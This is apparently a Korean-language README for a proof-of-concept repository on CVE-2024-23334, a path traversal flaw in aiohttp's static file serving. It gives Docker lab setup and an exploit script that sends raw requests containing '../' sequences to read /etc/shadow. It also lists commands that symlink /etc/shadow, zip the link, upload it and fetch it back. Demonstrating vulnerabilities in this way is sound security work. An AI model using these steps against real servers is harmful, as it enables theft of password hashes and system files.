
이 저장소는 보고된 취약점 CVE-2024-23334에 대한 aiohttp 라이브러리 악용의 개념 증명을 포함하고 있습니다.
이 저장소는 보고된 취약점 CVE-2024-23334에 대한 aiohttp 라이브러리의 악용에 관한 개념 증명을 포함합니다.
이 저장소는 두 가지 목적으로 만들어졌습니다:
자세한 내용은 제 웹사이트를 방문하세요: https://brianre.dev/
make build
make run
Docker를 분리 모드로 실행하려면 다음을 실행하세요:
make rund
python3 exploits/exploit_path_traversal.py
스크립트를 실행하면 서버에 원시 HTTP 요청을 보냅니다. curl을 사용하거나 브라우저에서 직접 접근하지 않고 이렇게 하는 이유는 해당 도구들이 HTTP 요청을 보내기 전에 URL을 정리(sanitizing)하고 정규화(normalizing)하기 때문입니다. 여기에는 경로 정규화(path normalization)가 포함됩니다: curl이나 브라우저 같은 도구는 URL 경로를 처리하면서 디렉터리 탐색에 사용되는 .. 같은 시퀀스를 제거합니다. 따라서 /static/../../../../../../../../../../../../etc/shadow와 같은 경로는 /etc/shadow로 정규화되며, 표준 웹 서버에는 이러한 리소스가 일반적으로 존재하지 않기 때문에 404 오류가 발생합니다.
/etc/shadow와 같은 제한된 파일에 대한 심볼릭 링크가 이미 생성되어 있습니다. 이 시나리오는 가장 가능성이 낮지만, 회사 내부에서 누군가 이를 이용해 정보를 유출할 수 있으며 사람들이 정적 로그를 확인하지 않을 수 있습니다. 그리고 정적 파일 접근이 기록되지 않는 경우, 유출 시점을 식별하기 매우 어렵습니다.이 저장소에서 만든 시나리오는 취약점을 설명하고 취약점이 존재하며 여전히 악용 가능함을 증명하기 위한 것입니다.
/etc/shadow와 같은 파일을 검색합니다.이를 수행하는 방법은 압축 파일을 사용하는 것입니다. 이렇게 하면 심볼릭 링크를 업로드할 수 있고, 서버에서 압축이 풀리면 동일한 심볼릭 링크가 생성됩니다. curl을 통해 link.jpeg 파일로 직접 심볼릭 링크를 업로드하면 심볼릭 링크가 가리키는 로컬 파일만 읽고 원본 파일을 업로드합니다. 따라서 서버 파일 시스템의 특정 경로를 대상으로 하려면 .zip 또는 .tar.gz와 같은 압축 파일을 업로드할 수 있어야 합니다.
두 번째 시나리오를 재현하려면 다음 단계를 따르세요:
touch /etc/shadow # 지정된 디렉터리에 파일을 만듭니다. 기존 파일을 덮어쓰지 않도록 주의하세요.
ln -s /etc/shadow exploit.jpeg # /etc/shadow 파일에 대한 심볼릭 링크를 만들고 exploit.jpeg로 이름을 지정합니다.
zip -y images.zip exploit.jpeg # 심볼릭 링크를 압축합니다.
curl -X POST -F "[email protected]" http://localhost:8080/upload # zip 파일을 업로드합니다.
curl -o shadow.txt http://localhost:8080/static/exploit.jpeg # 심볼릭 링크에 접근합니다. aiohttp에 취약점이 있으므로 서버의 /etc/shadow 파일을 반환합니다.
TODO
로컬에서 프로젝트를 개발 환경으로 설정하려면 다음을 수행하세요:
python3 -m venv env
pip3 install -r requirements.txt
pip3 install -r test-requirements.txt